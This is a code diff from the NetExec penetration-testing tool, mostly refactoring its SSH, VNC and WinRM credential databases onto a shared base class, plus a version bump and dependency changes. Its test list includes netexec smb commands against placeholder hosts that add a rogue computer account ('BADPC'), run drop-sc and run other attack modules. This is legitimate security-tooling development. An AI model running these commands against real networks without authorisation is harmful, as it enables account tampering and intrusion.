self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
|
||||
|
||||
|
||||
def old_large_int_to_datetime(large_int):
|
||||
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
|
||||
timestamp_seconds = combined / 10**7
|
||||
|
||||
@@ -33,8 +33,11 @@ class ssh(connection):
|
||||
return
|
||||
if self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.conn.close()
|
||||
|
||||
@@ -52,7 +55,6 @@ class ssh(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...")
|
||||
return True
|
||||
|
||||
def enum_host_info(self):
|
||||
if self.conn._transport.remote_version:
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
import configparser
|
||||
import os
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, func, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
import os
|
||||
from pathlib import Path
|
||||
import configparser
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import NXC_PATH
|
||||
import sys
|
||||
|
||||
# we can't import config.py due to a circular dependency, so we have to create redundant code unfortunately
|
||||
nxc_config = configparser.ConfigParser()
|
||||
@@ -21,7 +19,7 @@ nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
@@ -29,15 +27,7 @@ class database:
|
||||
self.AdminRelationsTable = None
|
||||
self.KeysTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
self.sess = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -105,26 +95,13 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.sess.execute(table.delete())
|
||||
|
||||
def add_host(self, host, port, banner, os=None):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"add_host(): Initial hosts results: {results}")
|
||||
|
||||
# create new host
|
||||
@@ -162,7 +139,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.sess.execute(q, hosts) # .scalar()
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
@@ -183,13 +160,13 @@ class database:
|
||||
self.KeysTable.c.data == key,
|
||||
)
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
else:
|
||||
q = select(self.CredentialsTable).filter(
|
||||
func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
@@ -218,10 +195,11 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
|
||||
set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.sess.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
# hacky way to get cred_id since we can't use returning() yet
|
||||
if len(credentials) == 1:
|
||||
@@ -238,19 +216,19 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_key(self, cred_id, key):
|
||||
# check if key relation already exists
|
||||
check_q = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()
|
||||
check_q = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()
|
||||
nxc_logger.debug(f"check_q: {check_q}")
|
||||
if check_q:
|
||||
nxc_logger.debug(f"Key already exists for cred_id {cred_id}")
|
||||
return None
|
||||
|
||||
key_data = {"credid": cred_id, "data": key}
|
||||
self.sess.execute(Insert(self.KeysTable), key_data)
|
||||
key_id = self.sess.execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id
|
||||
self.db_execute(Insert(self.KeysTable), key_data)
|
||||
key_id = self.db_execute(select(self.KeysTable).filter(self.KeysTable.c.credid == cred_id)).all()[0].id
|
||||
nxc_logger.debug(f"Key added: {key_id}")
|
||||
return key_id
|
||||
|
||||
@@ -260,7 +238,7 @@ class database:
|
||||
q = q.filter(self.KeysTable.c.id == key_id)
|
||||
elif cred_id is not None:
|
||||
q = q.filter(self.KeysTable.c.credid == cred_id)
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None):
|
||||
add_links = []
|
||||
@@ -274,7 +252,7 @@ class database:
|
||||
func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
self.CredentialsTable.c.password == secret,
|
||||
)
|
||||
creds = self.sess.execute(creds_q)
|
||||
creds = self.db_execute(creds_q)
|
||||
hosts = self.get_hosts(host_id)
|
||||
|
||||
if creds and hosts:
|
||||
@@ -286,7 +264,7 @@ class database:
|
||||
self.AdminRelationsTable.c.credid == cred_id,
|
||||
self.AdminRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
links = self.sess.execute(admin_relations_select).all()
|
||||
links = self.db_execute(admin_relations_select).all()
|
||||
|
||||
if not links:
|
||||
add_links.append(link)
|
||||
@@ -294,7 +272,7 @@ class database:
|
||||
admin_relations_insert = Insert(self.AdminRelationsTable)
|
||||
|
||||
if add_links:
|
||||
self.sess.execute(admin_relations_insert, add_links)
|
||||
self.db_execute(admin_relations_insert, add_links)
|
||||
|
||||
def get_admin_relations(self, cred_id=None, host_id=None):
|
||||
if cred_id:
|
||||
@@ -304,7 +282,7 @@ class database:
|
||||
else:
|
||||
q = select(self.AdminRelationsTable)
|
||||
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_admin_relation(self, cred_ids=None, host_ids=None):
|
||||
q = delete(self.AdminRelationsTable)
|
||||
@@ -314,7 +292,7 @@ class database:
|
||||
elif host_ids:
|
||||
for host_id in host_ids:
|
||||
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -322,7 +300,7 @@ class database:
|
||||
self.CredentialsTable.c.id == credential_id,
|
||||
self.CredentialsTable.c.password is not None,
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
@@ -340,7 +318,7 @@ class database:
|
||||
else:
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, username, password):
|
||||
q = select(self.CredentialsTable).filter(
|
||||
@@ -348,14 +326,14 @@ class database:
|
||||
self.CredentialsTable.c.password == password,
|
||||
self.CredentialsTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
if results is not None:
|
||||
return results.id
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
@@ -365,21 +343,21 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.host.like(like_term))
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"SSH get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, cred_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
@@ -391,18 +369,18 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_user(self, domain, username):
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, cred_id, host_id, shell=False):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.credid == cred_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.sess.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -412,7 +390,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.sess.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
@@ -427,7 +405,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
if shell:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.shell == shell)
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -435,4 +413,4 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
@@ -31,8 +31,11 @@ class vnc(connection):
|
||||
self.print_host_info()
|
||||
if self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
|
||||
@@ -1,36 +1,25 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy import MetaData, Table
|
||||
import sys
|
||||
import warnings
|
||||
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy.exc import SAWarning
|
||||
import warnings
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
from nxc.database import BaseDB
|
||||
|
||||
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
|
||||
warnings.filterwarnings("ignore", category=SAWarning)
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.HostsTable = None
|
||||
self.CredentialsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -67,16 +56,3 @@ class database:
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
@@ -72,8 +72,6 @@ class winrm(connection):
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
if self.is_link_local_ipv6:
|
||||
self.logger.fail("winrm not support link-local ipv6, exiting...")
|
||||
|
||||
@@ -1,33 +1,24 @@
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, func, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -88,19 +79,6 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
|
||||
def add_host(self, ip, port, hostname, domain, os=None):
|
||||
"""
|
||||
Check if this host has already been added to the database, if not, add it in.
|
||||
@@ -110,7 +88,7 @@ class database:
|
||||
hosts = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"smb add_host() - hosts returned: {results}")
|
||||
|
||||
# create new host
|
||||
@@ -147,7 +125,7 @@ class database:
|
||||
q = Insert(self.HostsTable)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
self.conn.execute(q, hosts)
|
||||
self.db_execute(q, hosts)
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
@@ -171,7 +149,7 @@ class database:
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
@@ -207,7 +185,7 @@ class database:
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
self.conn.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
@@ -215,7 +193,7 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
|
||||
domain = domain.split(".")[0]
|
||||
@@ -231,7 +209,7 @@ class database:
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
self.UsersTable.c.password == password,
|
||||
)
|
||||
users = self.conn.execute(creds_q)
|
||||
users = self.db_execute(creds_q)
|
||||
hosts = self.get_hosts(host)
|
||||
|
||||
if users and hosts:
|
||||
@@ -243,14 +221,14 @@ class database:
|
||||
self.AdminRelationsTable.c.userid == user_id,
|
||||
self.AdminRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
links = self.conn.execute(admin_relations_select).all()
|
||||
links = self.db_execute(admin_relations_select).all()
|
||||
|
||||
if not links:
|
||||
add_links.append(link)
|
||||
|
||||
admin_relations_insert = Insert(self.AdminRelationsTable)
|
||||
|
||||
self.conn.execute(admin_relations_insert, add_links)
|
||||
self.db_execute(admin_relations_insert, add_links)
|
||||
|
||||
def get_admin_relations(self, user_id=None, host_id=None):
|
||||
if user_id:
|
||||
@@ -260,7 +238,7 @@ class database:
|
||||
else:
|
||||
q = select(self.AdminRelationsTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_admin_relation(self, user_ids=None, host_ids=None):
|
||||
q = delete(self.AdminRelationsTable)
|
||||
@@ -270,7 +248,7 @@ class database:
|
||||
elif host_ids:
|
||||
for host_id in host_ids:
|
||||
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -278,7 +256,7 @@ class database:
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
@@ -296,22 +274,22 @@ class database:
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_credential_local(self, credential_id):
|
||||
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
|
||||
user_domain = self.conn.execute(q).all()
|
||||
user_domain = self.db_execute(q).all()
|
||||
|
||||
if user_domain:
|
||||
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
return len(results) > 0
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
@@ -321,7 +299,7 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by domain controllers
|
||||
@@ -333,14 +311,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"winrm get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, user_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
@@ -352,21 +330,21 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_user(self, domain, username):
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, user_id, host_id):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.userid == user_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.conn.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -375,7 +353,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.conn.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
||||
|
||||
@@ -385,7 +363,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, user_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -393,4 +371,4 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
@@ -146,7 +146,6 @@ class wmi(connection):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
def check_if_admin(self):
|
||||
try:
|
||||
|
||||
Generated
+955
-859
File diff suppressed because it is too large.
Load diff
+5
-4
@@ -1,6 +1,6 @@
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.2.0"
|
||||
version = "1.3.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
@@ -33,7 +33,7 @@ NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
python = "^3.10.0"
|
||||
aardwolf = "^0.2.8"
|
||||
aioconsole = "^0.6.2"
|
||||
aiosqlite = "^0.19.0"
|
||||
@@ -41,7 +41,7 @@ argcomplete = "^3.1.4"
|
||||
asyauth = ">=0.0.20"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
bloodhound = "^1.7.2"
|
||||
dploot = "^2.7.1"
|
||||
dploot = "^2.7.4"
|
||||
dsinternals = "^1.2.4"
|
||||
impacket = { git = "https://github.com/fortra/impacket.git" }
|
||||
lsassy = ">=3.1.11"
|
||||
@@ -54,6 +54,7 @@ paramiko = "^3.3.1"
|
||||
poetry-dynamic-versioning = "^1.2.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
pylnk3 = "^0.4.2"
|
||||
pynfsclient = { git = "https://github.com/Pennyw0rth/NfsClient" }
|
||||
pypsrp = "^0.8.1"
|
||||
pypykatz = "^0.6.8"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
@@ -73,7 +74,7 @@ pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
|
||||
requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
|
||||
build-backend = "poetry_dynamic_versioning.backend"
|
||||
|
||||
[tool.poetry-dynamic-versioning]
|
||||
|
||||
+23
-3
@@ -62,7 +62,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
|
||||
